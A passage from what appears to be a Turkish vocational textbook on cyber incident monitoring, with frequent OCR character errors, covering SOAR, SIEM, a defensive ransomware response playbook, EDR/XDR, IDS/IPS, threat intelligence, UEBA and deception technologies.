gore tekrarlanabilir otomatik eylemler olusturulur. Ornegin giivenlik acigi tarama, log analizi gibi
kontrollerin otomatiklesmesi hiz ve zaman agisindan avantaj saglar. Ayrica yapay zeka ve makine
o0grenmesi destegiyle gelismis eylem segenekleri de sunar. Otomasyonda glivenlik olayina verilecek
yanitlar, 6nceden tanimlanmis eylem senaryolariyla (playbook) olusturulur. Bu playbooklar bir
alarm veya olayla tetiklendiginde yanit, otomatikman devreye girer. Bu sayede tekrar eden birgok
eylem, insan mudahalesi olmadan yirGtalar.

3. Yanit: Bir glvenlik olay! tespit edildikten sonra yapilacak eylemlerin planlanmasi, yonetilmesi,
izlenmesi ve raporlanmasi slirecidir. SOAR, bu silrecin merkezi bir gériiniimle bitin olarak ele
alinmasini saglar. Olaya ait tim bilgiler tek bir araylzde sunularak zaman kaybi ve olasi hatalar
onlenir.
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Gorsel 2.6’da SOAR’In temel bilesenleri ve olay miidahale sireci gérilir.

< Giivenlik
masyonu ve
strasyonu

Giivenlik Olay
Miidahale
Platformlan

Gorsel 2.6: SOAR’In temel bilesenleri ve olay miidahale siireci

SOAR, Guvenlik Otomasyonu ve Orkestrasyonu [Security Automation and Orchestration (SAQO)],
Giivenlik Olay Miidahale Platformlari [Security Incident Response Platforms (SIRP)] ve Tehdit istihbarat
Platformlari [Threat Inteligence Platforms (TIP)] teknolojilerini birlestiren bir glivenlik ¢6zimudur.

SAO: Farkli sistemleri birbirine baglayarak orkestrasyon ve otomatiklestirilmis is akislari icin otomasyon
sUreglerini yuratar.

SIRP: :Bir glivenlik olayinin tim mudahale siirecini kapsayan merkezi bir platformdur. Bir giivenlik ihlali
meydana geldiginde SIRP, otomatikman devreye girerek olay miidahale siirecini baslatir. Bu siirecte
SIRP iginde siber olaylara karsi 6nceden tanimlanan otomatik yanit senaryolari (playbooklar) kullanihr.

TIP: Farkli kaynaklardan gelen tehdit verilerinin toplanmasi, birlestirilmesi, normallestirilmesi ve
analiz edilmesini saglayan platformdur. Dinyanin her tarafindan gelen tehdit istihbaratlari, anlasilir
bir formata donistirilerek anlamli veri haline getirilir. Bu veriler; kot amagli IP adresi, zararli dosya
hashleri veya saldirganlarin kullandiklari TTP’ler olabilir. Tehdit istihbarat verileri, siber saldirilara karsi
proaktif dnlemler almayi kolaylastirir.

DETECT (TESPIT ET): Farkli glivenlik sistemlerinden gelen uyarilar, log kayitlari veya giivenlik verileriyle
siber tehdidin fark edildigi asamadir. Bu asamada TIP, bilinen siber tehditlerle eslesmeyi kontrol ederek
uyarinin gercek bir saldiri olup olmadigina karar verir. SAO ile uyari toplama ve veri ¢cekme siregleri
otomatiklestirilir.

TRIAGE (TRiYAJ-ON DEGERLENDIRME): Tespit edilen uyarilardan gereksiz veya yaniltici olanlarin
ayiklandigi 6n degerlendirme asamasidir.

RESPONSE (YANIT): Tespit edilen givenlik olayina karsi yapilan midahalelerdir.
PRIORITIZE (ONCELIKLENDIR): Gergek oldugu dogrulanan siber olayin kurulus agisindan risk

degerlendirmesi yapilarak aciliyet siralamasi yapilir.
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2. OGRENME BiRiMi

Tablo 2.2’de SIEM ve SOAR’in temel farkhilklari gérilir.

Tablo 2.2: SIEM ve SOAR’In Temel Farkliliklari

Guvenlik verilerini analiz eder

Midahale siireclerini otomatiklestirerek

zayiftir.

Temel Odak ve tehditlerin tespit edilmesini N ) .
. olaylara hizli miidahale edilmesini saglar.

saglar.

Guvenlik verilerini toplar ve SIEM ve diger araglardan gelen uyarilari
Otomasyon alarm uretir. Manuel miidahale | alarak otomatik eylemler gerceklestirir.

gereklidir. Manuel miidahale sirecini azaltir.

Veri kaynaklariyla entegre olarak  Bircok glivenlik araciyla entegre olarak
Entegrasyon cahisir fakat otomasyon yoni calisir ve bu araclar arasinda otomasyonu

saglar.

Alarm Uretir fakat olay
miidahalesinde genellikle insan
glcilne ihtiyag duyulur.

Olay Miidahalesi

Merkezi bir yonetimle alarmlari alir ve
otomatik yanitlar olusturur.

Blyik yapilarda kaynak tiketimi

Olgeklenebilirlik
¢ fazla oldugu icin maliyetlidir.

Bliylk yapilara uyum saglayabilir ve
kolaylikla 6lgeklenebilir.

Ug¢ nokta cihazi veya sunucuda dosyalarin sifrelenmesi, fidye notu birakilmasi ve

ORNEK | EDR/XDR uyarilari alinmasiyla ilgili fidye yazilim playbook uygulama adimlari su
sekildedir:
OLAY SINIFLANDIRMASI
Kategori

Olay tirl Kotl amacgh yazilim, fidye yazilimi
Ciddiyet Yuksek
Oncelik Kritik (is stirekliligi ve veri kaybi riski nedeniyle)
Tespit kaynaklari EDR/XDR, SIEM, kullanici bildirimi, antiviris yazilimi

HAZIRLIK (PREPARATION)

Yedekleme stratejisi

Arag/Aksiyon

Dizenli olarak gevrimdisi yedekleme yapiniz. Yapilan geri
yuklemeyi test ediniz.

Ug¢ nokta korumasi

Davranissal tespit ve geri alma 6zelligine sahip EDR kullaniniz.

Kullanici farkindaligi

E-posta glvenligi ve harici medyalarin giivenli kullanimi
konusunda kullanicilara egitim veriniz.

Kayit kapsami

Sistem loglari, Sysmon, dosya erisim loglari ve ag trafigi
verilerini toplayiniz.

Gostergeler ve tehdit akisl

Fidye yaziimlarini tespit eden tehdit
kaynaklarina abone olunuz.

istihbarati  (10C)
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TESPIT VE ANALIZ (DETECTION AND ANALYSIS)

Adim

Fidye yazihmi dogrulama

Aksiyon
EDR uyarisi, fidye notu, sifreli dosya uzantilarinin varligini
kontrol ediniz.

Etkilenen hostu izole etme

Etkilenen sistemi agdan ayirip EDR ile izole ediniz.

Fidye yazihmi tiir(i tanimi

Fidye notu, dosya hash bilgisi veya ad orlntlsiine gore
yazilim trinG tanimlayiniz.

Kayitlari ve davranisi analiz etme

Saldirinin kaynagini, yanal hareketleri veya slipheli gorevleri
inceleyiniz.

MITRE ATT&CK eslemesi

T1486 (veri sifreleme), T1059 (komut ylritme), T1021 (yanal
hareket) gibi tekniklerle eslestirme yapiniz.

SINIRLAMA (CONTAINMENT)

Adim

Sistemleri izole etme

Aksiyon
Switch, guivenlik duvari veya EDR ile etkilenen sistemin ag
baglantisini kesiniz.

Enfekte hesaplari devre digi birakma

Ozellikle yanal hareket icin kullanilmis hesaplari kilitleyiniz.

Dis iletisimi engelleme

internet {zerinden vyapilan komuta-kontrol ve anahtar
degisimini engelleyiniz.

Sistem gorintisi alma

Adli analiz icin gerekli olabilecek ekran goriuntilerini aliniz.

TEMIiZLEME (ERADICATION)

Adim

Aksiyon

Zararh kalintilari silme

Fidye yazilimina ait dosyalari, betikleri ve zamanlanmis
gorevleri temizleyiniz.

Guvenlik agiklarini kapama

Saldirganlarin kullandigi agikhklari (RDP, SMB vb.) kapatiniz.
Yazilimlari glincelleyiniz.

Tum agda antivirlis/EDR tarama

Etkilenen VLAN veya alt agdadaki tim cihazlarda kapsamli
tarama yapiniz.

Temizligi dogrulama

Kalici bilesenlerin (kayit defteri, servisler, baslangic 6geleri
vb.) kalmadigini kontrol ediniz.

Adim

KURTARMA (RECOVERY)

Temiz yedekten geri yikleme

Aksiyon
Yedeklerin fidye yaziimindan etkilenmedigini dogrulayiniz.

Sistemleri yeniden kurma

Temiz yedegin olmadigi sistemlere sifirdan kurulum yapiniz.

izleme

SIEM ve EDR ile tekrar bulasma olup olmadigini kontrol
ediniz.

Parola sifirlama

Ozellikle yonetici veya saldindan etkilenmis kullanici
hesaplarinin parolalarini degistiriniz.
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DERSLER VE RAPOLAMA (LESSON LEARNED AND REPORTING)

Olay sonrasi degerlendirme Saldirinin  nedenini, ilk erisim yontemini ve
mudahale siirecini analiz ediniz.

Kural glincelleme SIEM ve EDR sistemlerinde kurallari iyilestiriniz.

Bulgulari belgeleme Gostergeler, etkilenen sistemler ve zaman

cizelgesini yazili olarak kaydediniz.

Gostergeleri paylasma ic ekipler ve gerekli oldugunda tehdit istihbarat
topluluklariyla saldiri gostergelerini paylasiniz.

BASARI GOSTERGELERI

Tespit sliresi Sifreleme islemi tespit stiresi < 10 dakika

izolasyon siiresi Sistemin agdan ayrilmasi siliresi < 15 dakika
(tespitten itibaren)

Kurtarma siresi Sistemin yedekten geri yliklenme siiresi < 24 saat
(Yedek durumuna bagh olarak siire degisebilir.)

Sinirlama etkisi Saldirinin orijinal VLAN disina yayllmamasi

Sira Sizde

Kurum iginde galisan bir kullanicinin veya yOneticinin e-posta, bulut depolama, harici
medya gibi araglarla hassas verileri disari ¢ikarmasi (i¢ tehdit veya veri sizintisi) tehdidine
karsi playbook senaryosu hazirlayiniz.

2.1.2.3. EDR/XDR [Endpoint Detection and Response/Extended Detection and
Response (Son Nokta Algilama ve Yanit/Genisletilmis Algilama ve Yanit)]

Siber saldirilar genellikle uc noktalardan baslayip e-posta, ag, bulut gibi farkli sistemlere hizla yayilabilir.
U¢ noktalarda dizisti ve masalstl bilgisayar, sunucu, tablet, telefon gibi ag cihazlari yer alir. Bu
cihazlarda isletim sistemi, uygulama yazilimlari, internet iletisimi gibi hizmetler yirGtilir. Ancak ug
cihazlar, siber tehditlerde kolay erisilebilen en zayif noktalardir. Ug noktadan baslayan bir saldiri, kisa
slirede bircok sisteme hizla yayilarak zarar verebilir. Bu sebeple siber savunma 6nlemleri cok katmanli,
entegre ve koordineli bir sekilde planlanmalidir.

EDR; ug cihazlardaki aktiviteleri izleyen, anormal davranislari tespit eden ve tehdit algilandiginda
miidahale eden bir siber glivenlik ¢6zim{dir. Ug cihazlarda bir giivenlik ihlali veya tehdit algilandiginda
kot amacliyazilim izole edilerek incelemeye alinir. Bu inceleme siireciyle tehdidin kék nedeni bulunarak
analiz edilir ve tehdide hizli miidahale saglanir. EDR; antivirlis programlarinin tespit edemedigi kotu
amach yazilimlari, gelismis kalici tehditleri, sifirinci glin aciklarini veya fidye yazilimlarini tespit edebilir.
Ug cihazlarin korunmasinda etkili bir yontem olup diger siber glivenlik araglariyla birlikte kullaniimahdir.
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Gorsel 2.7'de EDR muidahale siireci gorulir.

Veri Toplama Tehdit Tespiti

iz Saldiriya Yanit Verme

Gorsel 2.7: EDR midahale sireci

EDR, ug cihazlarda kurulan ajanlar araciligiyla verileri toplayarak bulut tabanli merkezi bir platforma
aktarir. Toplanan buylk veri yapilari, makine 6grenmesiyle davranis kaliplari ve tehditler karsilastirarak
analiz edilir. Analiz sonucunda tehdit dogrulanirsa otomatik olarak miidahale edilir. Bu islemden sonra
sistemin normale dénmesi i¢in kurtarma siireci baslatilir. Ayrica analiz edilen tehditle ilgili bilgiler, veri
tabanina kaydedilir ve glivenlik ekibine bilgi olarak sunulur. Glivenlik ekipleri, gercek zamanh goriintrlik
ozelligiyle ug cihazlari anlik olarak izleyebilir ve gerekli durumlarda manuel olarak miidahale edebilir.
Gorsel 2.8'de EDR’nin ¢alisma mantigi gorulir.

|Makine 6grenmesi |

Uc¢ nokta etkinlik

kaliplan

Veri e
) Tehdit bilgisi

Ag sunucusu
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i
Ug noktalar-
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Otomatik yanit
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Masaiistii bilgisayar
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U¢ nokta tehdidi

()

()

Gorsel 2.8: EDR’nin ¢alisma mantigi
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EDR’nin sagladigi faydalar sunlardir:
» Ug cihazlarda derinlemesine izleme yaparak saldirganlarin gizlenmesini zorlastirir.
« Makine 6grenmesi ve davranis analiziyle tehditleri daha hizl tespit eder.
» Otomatik ve manuel midahale yetenegiyle saldirinin yayilmasini en aza indirir.
« Toplanan verilerle sistemde gizli veya yeni tehditler aranarak tehdit avciligi yapilr.
« Daha dogru tespitlerle yanlis pozitif uyarilar en aza indirilir.
« Otomatik sliregler glivenlik uzmanlarinin is yikini azaltir.

« Tespit ve miidahale siireci hizli oldugu icin olayin kurulus Gizerindeki olumsuz etkileri azalir.

XDR, sadece ug cihazlar degil tim BT altyapisinda yer alan kaynaklardan (bulut sistemler, e-posta
sistemleri, sunucular, giivenlik duvarivb.) gelen verileri birlestiren genisletilmis tespit ve yanit sistemidir.
Siber saldirilar birgcok katmandan (e posta, ug cihazlar, ag, bulutvb.) ayniandayayilarakilerleyebilir. Birgok
givenlik sirketi savunma derinligi (deep in defense) yaklasimini benimseyerek birden fazla giivenlik
aracini (SIEM, EDR, e-posta glivenligi, ag trafigi izleme vb.) birlikte kullanir fakat geleneksel gtvenlik
araclari, odaklandigi alanla ilgili koruma saglarken elde ettigi bilgileri diger sistemlerle paylasmaz. XDR
ise farkli glivenlik araglarindan gelen verileri ortak bir platformda toplayarak olay miidahale sirecini
bitlinsel yonetir. Gorsel 2.9°da XDR’nin ¢alisma mantigi goralir.

1. Veri Toplama

2, Tespit Etme

Veri iligkilendirme
duvan Yapay zeka destekli analitik istihbarati

Uyari dnceliklendirme

3. Yanit Ver

Manuel yanit
ve sorusturma

Otomatik is akislari Olay yonetimi

Gorsel 2.9: XDR’nin g¢alisma mantigl

Veri toplama siirecinde farkli gtivenlik kaynaklarindan gelen veriler XDR’nin platformuna aktarilr. Tehdit
tespiti stirecinde toplanan verilerin birbiriyle olan iliskisi korelasyonla tanimlanir. Yapay zeka destekli
analizle tehditler ve anormal davranislar tespit edilir. Tespit edilen tehditlerin aciliyet derecelerine
gore alarm Uretilir. Yanit ver siirecinde ise tehdidi etkisiz hale getirmek i¢in miidahale edilir. Yanitlar;
glvenlik uzmanlarinin manuel miidahalesi, 6nceden tanimlanmis otomatik eylemler veya olay vaka
yonetimiyle gerceklestirilir.
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2.1.2.4.IDS/IPS [Intrusion Detection/Prevention Systems (Saldir Tespit/f)nleme
Sistemleri)]

IDS ve IPS, ag glivenligini saglamak icin kullanilan saldiri tespit ve dnleme sistemleridir (Gorsel 2.10). Bu
sistemlerle ag trafigi takip edilerek potansiyel tehditler veya saldiri girisimleri tespit edilir.

Saldirgan

‘ Saldiri amaci

Saldir1 tespiti

-
—
I -

Veritabani

x Baglantiyi kes

)
Ag anahtari

Yerel LAN agi

Veritabani istemciler ' ' '

Sunucular

Gorsel 2.10: IDS/IPS

IDS, bir ag icinde saldiri olabilecek stipheli etkinlikleri veya glivenlik ihlallerini tespit eden sistemdir.
Stpheli eylemlere herhangi bir miidahale yapilmadan loglanarak alarm Uretilir. IDS ile ag trafigindeki
paketler, derinlemesine analiz edilerek siber tehditler tespit edilir. Bu siirecte imza tabanli (signature-
based) veya anomali tabanl (anomaly-based) tespit yontemleri kullanilir. imza tabanli ydntemde veri
tabaninda kayitli, bilinen saldiri kaliplarini (imzalarini) arayarak eslesme kontroli yapilir. Anomali tabanli
yontemde ise ag veya sistemin normal disi davranis sapmalari tespit edilir. IDS’ler genellikle glivenlik
duvarinin arkasina (i¢ ag yoniinde), ag anahtarina, DMZ boélgesine veya i¢ agda trafigin dogrudan
dinlenebilecegi farkli noktalara konumlandirilir.

IPS, slpheli aktiviteleri tespit edip midahale eden aktif dnleme sistemidir. IPS sistemler, ag trafiginde
veri paketlerini inceleyerek zararli ve zararsiz paket gecislerini kontrol eder. Tehdit oldugu distnilen
zararl paket tespit edildiginde iletisim kesilir, baglanti sifirlanir ve alarm Uretilerek glivenlik birimine
bildirim saglanir. IPS, hedefle kaynak arasindaki iletisim yoluna dogrudan yerlestirilir. Genellikle glivenlik
duvarinin arkasina, glivenlik duvarina veya dis diinya ile i¢ ag arasina konumlandirilir.
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IPS temel olarak lige ayrilir.

1. Ag tabanli IPS [Network-Based IPS (NIPS)]: Ag trafigini gercek zamanli izleyerek zararl aktiviteleri
tespit eden sistemlerdir.

2. Kablosuz IPS [Wireless IPS (WIPS)]: Kablosuz ag trafigini gercek zamanli izleyerek tehditleri, yetkisiz
erisimleri veya anormal aktiviteleri tespit eden sistemlerdir.

3. Ana bilgisayar Tabanl IPS [Host-Based IPS (HIPS)]: Kullanici bilgisayari veya sunucu lzerindeki
kullanici davranislari, sistem ve uygulama aktivitelerini izleyen glvenlik yazilimidir.

Tablo 2.3’te IDS ve IPS'nin 6zellikleri gorulir.

Tablo 2.3: Tehditlerin Etki, Olasilik, Risk Puanlari ve Seviyeleri

Ag trafigini sadece izler ve miidahale | Ag trafigini izler ve olay tespit edilirse

Trafik izleme
etmez. Pasif olarak galisir. midahale eder. Aktif olarak calisir.

Tehditleri algilayarak alarm Uretir ve Tehditleri algilar ve otomatik olarak

Gorev
bildirim yapar. engeller.

Lo i imza ve anomali tabanli tespit imza ve anomali tabanl tespit
Tespit Yontemi

yontemini kullanir. yontemini kullanir.
Gergek Zamanli izleme  Trafigi anlik olarak analiz eder. Trafigi anlik olarak analiz eder.
Ag trafigini izleyen bir konuma | Kaynak ve hedef arasinda trafigin
Konumlandirma o . .
yerlestirilir. gectigi konuma yerlestirilir.
Sistem performansini etkilemez, Dogru  vyapilandiriimazsa  yanlis
Risk Durumu sadece yanlis pozitiflerde uyari negatiflerde uyari verip sistemin
verir. calismasini engelleyebilir.

Kurum igi, bulut tabanh veya hibrit | Genellikle ag gegitleri veya glvenlik

Kullanim Ortami
ortamlarda kullanilir. duvarlariyla birlikte kullanilir.

2.1.2.5. TIP [Threat Intelligence Platforms (Tehdit istihbarat Platformlari)]

Tehdit istihbarati, tehdit aktorlerinin davranislari ve hedefleri hakkinda daha fazla bilgi edinmek
icin toplanan ve analiz edilen kanitlanmis bilgilerdir. Bu bilgiler, saldiri mekanizmalari ve etkileri,
saldirgan davranislari veya kullanilan araglar hakkinda bilgi saglayarak proaktif 6nlemlerin alinmasini
kolaylastirir. Tehdit istihbaratinin amaci, rutin savunma onlemleri almak yerine saldirgani (dismani)
derinlemesine taniyarak olasi giivenlik ihlallerinin 6niine ge¢cmektir. Tehdit istihbarat platformlari ise
farkh kaynaklardan gelen verilerin toplandigi, analiz edildigi ve istihbarata donstirtldigi merkezi
sistemlerdir. Bu sistemler, giderek blylyen siber tehdit ortaminin karmasikligina pratik ¢ézimler sunar.
TIP, bilinen kot amagli yazilimlar ve tehditler hakkinda glivenlik ekiplerine bilgi saglayarak stirecin etkili
yonetilmesini kolaylastirir. Veri toplama ve yonetme eylemleri, platform tarafindan yapildigi icin veri
analistlerinin is yaki hafifler. Ayrica glvenlik ve istihbarat ekipleri tarafindan tespit edilen tehditlerin
diger paydaslarla ve glivenlik sistemleriyle paylasiimasini saglar.
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Tehditistihbarat tek seferlik bir eylem olmayip stirekli tekrar eden bir dongtdiir (Gorsel 2.11). Bu dongdi,
degisen tehdit ortamina karsi alinan glivenlik tedbirlerinin siirekli glincellenmesine ve iyilestirmesine
katki saglar.

Yonlendirme ve Planlama Toplama
Toplanacak verileri Cesitli kaynaklardan ilgili

belirleme / / \ verileri toplama
i Bildiri isleme

Geri Bildirim
Surekli iyilestirme icin Ham verileri tizerinde islem

degerlendirme ve tekrar etme Siber Tehditleh yapilabilir bilgilere donustiirme

Yayma \ / Analiz
Analizleri ve 6nerileri Bilgileri degerlendirme ve
i

paylasma istihbarati olusturma

Gorsel 2.11: Tehdit istihbarati yasam donglsu

Yonlendirme ve Planlama (Direction & Planning): Kuruluslarin istihbarat gereksinimlerinin istihbarat
ekibi, Ust diizey yoneticiler ve givenlik ekipleriyle birlikte tanimlandigi strectir. Bu gereksinimler,
kuruluslarin yapisina ve ihtiyacina gore farkhlik gosterir. Amag, tehditleri belirlemektir.

Toplama (Collection): Belirlenen istihbarat gereksinimlerini karsilayacak bircok verinin cesitli
kaynaklardan toplanmasi sirecidir. Bu siiregte hem glivenlik verileri hem de halka agik kaynaklar
(OSINT); dark web, sosyal medya gibi platformlardan elde edilen veriler toplanir.

isleme (Processing): Toplanan verilerin gereksiz kisimlari ¢ikarilir, anlasilir bir formata déniistirilerek
normallestirilir ve filtreleme yapilarak analize uygun hale getirilir. isleme siireci temiz ve diizenli bilginin
elde edildigi 6nemli bir asamadir.

Analiz (Analysis): islenen veriler arasindaki oriintiiler, egilimler ve iliskiler belirlenerek tehdidin
potansiyel etkileri degerlendirilir. Analistler; tim pargalari bir araya getirerek tehdidin kimler tarafindan,
hangi amacla yapilmak istendigini ve hangi yontemleri kullandiklarini anlamaya calisir. Analiz sonuclari,
eyleme gegcirilebilir eylemler olarak yer alir.

Yayma/Dagitim (Dissemination): Analiz sirecinden sonra verilerin ilgili kisilerle paylasiimasi strecidir.

Geri Bildirim (Feedback): istihbaratin kalitesinin ve faydasinin degerlendirildigi 6z elestiri siirecidir. Bu
sureg tehdit istihbarati stirecinin stirekli iyilestiriimesine katki saglar.

Tehditistihbarati siirecinde kullanilan verilerin gercek bir saldiri veya sistemi tehlikeye atan davranis olup
olmadigl dogrulanarak gercek tehdit verileri, I0C [Indicator of Compromise (Uzlasma Gostergeleri)]
olarak adlandirilir. I0C’ler saldirganin sistemde veya agda biraktig dijital izler gibidir. Bu izler, siber
glvenlik slirecinin etkililiginin artirilmasina ve proaktif nlemler alinmasina katki saglar. IOC gostergeleri;
zararli yazihm hashleri, koti amacl IP adresleri, URL ler veya yaniltici e-postalar olabilir.
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Tehdit istihbarati siirecinin toplama asamasinda ¢esitli kaynaklardan bilgiler elde edilir. Bu bilgiler,
istihbaratin kalitesi ve kapsami agisindan onemlidir. Gorsel 2.12'de tehdit istihbarat kaynaklari gorulir.

Dark Web

Ticari Hizmetler Acik Kaynak

Tehdit istihbarat
Kaynaklari

‘
Kurum igi

Gorsel 2.12: Tehdit istihbarat kaynaklari

Sektorel Topluluklar

Acik Kaynak istihbarati [Open Source Intelligence (OSINT)]: Kamuya acik haber kaynaklari, bloglar,
sosyal medya platformlari, forumlar gibi kaynaklardan toplanan bilgileri icerir. Acik kaynak istihbaratta
glvenlikle ilgili sayisiz kaynak yer alir. Ayrica diinya genelinde tehdit arastirmacilari ve glivenlik uzmanlari
tarafindan paylasilan bilgiler de yer alir.

Kurum ici Tehdit istihbarati (In-House Threat Intelligence): Bir kurumun kendi igindeki verilerle
olusturulan istihbarattir. Olay midahale ekipleri, SOC ¢alisanlari ve glivenlik analistleri kurulusun bilgi
sistemlerinden gelen verileri analiz eder. Bu analiz sonucuna gore istihbarat dogrulanir. Kurum igi
istihbaratta hem iceriden hem de disaridan gelebilecek tehditler tespit edilebilir. Kuruma 6zel hazirlanan
detayl ve givenilir bir yontem olup manuel calisma gerektirir.

Sektorel Topluluklar (Vertical Communities): Bazi sektorlerdeki kurumlara 6zel, bilgi paylasimi igin
olusturulan topluluklardir. Benzer sektorleri hedef alan tehditlerle ilgili bilgi paylasimini saglar.

Ticari Servisler (Commercial Services): Glvenlik firmalarinin sundugu Ucretli istihbarat hizmetleridir.
Cok sayida kaynaktan veri toplayip, analiz ederek yiiksek dogrulukta sonuglar Uretir.

Dark Web istihbarat (Dark Web Intelligence): Yasa disi aktivitelerin gerceklestirildigi, 6zel tarayicilarla
erisim saglanan ve internetin gizli boliimi olarak adlandirilan alana dark web denir. Bu alana erisim
saglanarak elde edilen verilerle yapilan istihbarata ise dar web istihbarati denir. Saldirgan davranislarini
Oonceden 6grenme, zararli yazilim araclarini analiz etme, kurumlarin ¢alinan verilerini tespit etme gibi
amaglarla bu alana erisim saglanir. Dark web, gizli ve tehlikeli bir alan olup glvenlik riskleri igerir. Erisim
icin teknik bilgi ve uzmanlik gereklidir.

@ SIBER OLAYLARA MUDAHALE



SiBER OLAY iZLEME

Tehdit istihbaratiyla elde edilen veriler dort kategoride siniflandirilir (Gérsel 2.13).
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Gorsel 2.13: Tehdit istihbarat tirleri

2.1.2.6. UEBA [User and Entity Behavior Analytics (Kullanici ve Varlik Davranisi
Analitigi)]

Siber givenlik aracglari genellikle dis tehditlere odaklanirken i¢ tehditler veya galinti kimlik bilgileriyle
yapilan eylemler gézden kagabilir. Kurum igindeki ¢alisanlarin riskli faaliyetleri veya g¢alinmis kimlik
bilgileriyle erisim saglayan saldirganlar, siber glivenlik anlaminda buydk risk olusturur.

Bir kurum icinde i¢ tehditlerin, yetkisiz erisim saldirilarinin veya slipheli hareketlerin tespit edilmesi
kritik 6neme sahiptir. Bilgi sistemlerinde yer alan kullanicilarin davraniglari dijital izler olusturur.
UBA [User Behavior Analytics (Kullanici Davranis Analitigi)] ile dijital izler toplanir, analiz edilir ve
kullanicilarin sistemde yaptigi normal davranis kaliplari belirlenir. Sistem stirekli izlenirken normal
davranis kaliplarindan sapmalar (anomaliler) tespit edilir ve alarm Uretilir.

Teknolojinin hizla gelismesi ve bilgi sistemlerinde yer alan dijital varliklarin (ag cihazlari, uygulamalar,
loT teknolojileri vb.) da davranis iretmesi sadece kullanicilarin degil varliklarin da davranis analitigi
ihtiyacina yol agar. 2015 yilinda Gartner tarafindan resmen tanitilan UEBA hem kullanicilarin hem de
varliklarin davranisini analiz eden siber givenlik yazilimi olarak piyasaya strdlir.
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Gorsel 2.14’te UEBA'nin galisma mantigi goralir.

Baseline o Veritopla
» Davranis kaliplari olustur

Olu§turma « Normal aktiviteleri modelle

. « Davranislari karsilastir
Anomali » Normal olmayan sapmalari belirle
Tespiti « Anormal aktiviteleri belirle

. « Anormallikler igin risk degeri ata
Risk . o

« Risk skorunu gilincelle
Puanlama + Yiksek risklerde alarm Uret

Gorsel 2.14: UEBA'nin ¢alisma mantig

UEBA, cesitli kaynaklardan (olay ginlikleri, ag izleme araglari, kimlik dogrulama sistemleri, tehdit
istihbarat sistemi vb.) topladigi verileri normallestirerek anlamli héale getirir. Bu veriler makine
O0grenmesi algoritmalariyla degerlendirilip hem kullanicilarin hem de varliklarin normal davranis
kaliplari (baselines) olusturulur. Makine 6grenmesi, dinamik olarak ¢alismaya devam ettigi icin normal
davranislar da glincellenerek degisebilir. Makine 6grenmesi iki sekilde saglanir. Denetimli 6grenme
(Supervised learning), daha 6nceden dogru-yanhs olarak tanimlanmis etiketli verilerle ¢alisir. Glvenlik
olaylariicin yeterli etiket olmadigi icin kullanimi zordur. Denetimsiz 6grenme (Unsupervised learning)
ise sistemdeki normal davranis 6rintilerini ve sapmalari otomatik olarak 6grenir ve anormal olarak
isaretler. Buyik miktardaki verilerin analizinde denetimsiz 6grenme modeli, UEBA'da yaygin olarak
kullanilir. Kullanicilarin ve varliklarin ¢alisma strecindeki tim aktiviteleri, normal davranis kaliplari ile
karsilastirilarak siipheli veya anormal davranislar tespit edilir. Ornegin calisma saati 09:00-18:00 olan
bir kullanicinin saat 23:00’te oturum agmasi veya ortalama dosya indirme miktarindan ¢ok fazla veri
indirilmesi, anormal davranis kabul edilir. Bu davranislar tek basina bir saldiri olarak kabul edilmese de bir
tehdit isareti olarak degerlendirilir. Tespit edilen anomaliler, risk seviyesine goére puanlanir. Kullanicilarin
ve varliklarin risk puanlari icin risk seviyesi olusturulur. Yuksek risk seviyesine ulasan davranislar igin
alarm Uretilerek glivenlik ekibine bildirilir. UEBA’nin {i¢ ana bileseni Gorsel 2.15'te gorilir.

@

Use cases

Data

Gorsel 2.15: UEBA'nin ana bilesenleri
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1. Use Cases (Kullanim Durumlari): UEBA'nin tespit etmeyi hedefledigi siber glivenlik tehditlerini
ve anormal davranislari tanimlar. i¢ tehdit, yetkisiz erisim, ele gecirilen hesaplar, veri sizintisi,
yanlis yapilandirma, sifirinci giin agiklari ve gelmismis kalici tehditler UEBA'nin kullanim durumu
ornekleridir.

2. Data(Veri): UEBA'nindavranisanaliziyapabilmekicin ¢esitli kaynaklardan topladigiham verilerilerdir.
Olay ginlikleri, ag trafigi, tehdit istihbarat verileri ve bulut hizmeti aktiviteleri UEBA'nin veri
ornekleridir.

3. Analytics (Analitik): Toplanan verileri anlamli hdle donlstirmek icin farklh analiz teknikleri kullanilir.
Bu teknikler, normal kullanicilarin ve varliklarin normal davranis kaliplarini 6grenerek anormal
davranislarin tespit edilmesini saglar. istatistiksel analiz; veri setlerinde ortalamalar, standart
sapmalar, dagilimlar gibi dlgimlerle olagan disi degerleri gdsterir. Davranigsal analiz, kullanicilarin
ve varliklarin davranislarini 6grenerek bu davranis kalibindan sapmalari tespit ederek slipheli eylem
kabul eder. Makine 6grenmesi, denetimli ve denetimsiz algoritmalar kullanarak verileri analiz eder.
Yeni saldiri tiirleri veya sifirinci giin saldirisi gibi bilinmeyen tehditlerin tespit edilmesinde etkilidir.
Korelasyon analizi, farkli veri kaynaklarindan alinan olaylar arasindaki iliskileri belirleyerek tehdit
arar. Tek basina zararsiz gértinen olaylar, bir bitiin halinde degerlendirilerek biyuk saldiri eylemleri
tespit edilebilir. Zaman serisi analizi, verilerin belirli bir zaman icindeki davranis kaliplarina gére
yapilan analiz tiruddar.

2.1.2.7. Deception Technologies (Aldatma Teknolojileri)

Aldatma teknolojisi; saldirganlari gercek sistemlerden uzaklastirarak, yemlere (gercek varliklari taklit
eden sahte varliklara) yonlendirip tuzaga distirmeyi amaclar. Bu yontemle saldirganlar, gercek hedefe
ulastigini zannederek eylemlerde bulunur. Bu eylemler, glvenlik ekipleri tarafindan analiz edilerek
degerlendirilir ve gerekli dnlemlerle iyilestirmeler saglanir. Aldatma, saldirganlari gercek hedeften uzak
tutarken saldiri cabalarinin bosa ¢ikmasina, zaman harcanmasina ve kafa karisikhigina da sebep olur. Bu
slrecte tehdit aktorlerinin kullandiklari bilgiler, TTP’ler ve davranislar siber glivenlik ekipleri tarafindan
izlenir. Elde edilen tim bilgilerle siber glivenlik politikalari gozden gecirilip mevcut zafiyetlerin giderilmesi
ve potansiyel tehditlerin dnlenmesi saglanir.

Aldatma teknolojileri baslangicta sinirli ve basit tuzak sistemleri olarak kullanilirken degisen teknolojik
yenilikler (loT cihazlar, bulut sistemler, mobil platformlar vb.) ve artan siber gilivenlik ihtiyaclariyla
birlikte daha islevsel ve dinamik bir yapiya donisir. Gorsel 2.16’da aldatma teknolojilerinin gelisim
slreci goralir.

HONEYPOT HONEYTOKEN DECEPTION PLATFORM

HO " HONEYPOT2.0 -

Gorsel 2.16: Aldatma teknolojilerinin gelisim siireci
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Honeypot (Bal Kiipii): Saldirganlari yaniltmak ve onlarin saldiri tekniklerini 6grenmek igin kullanilan
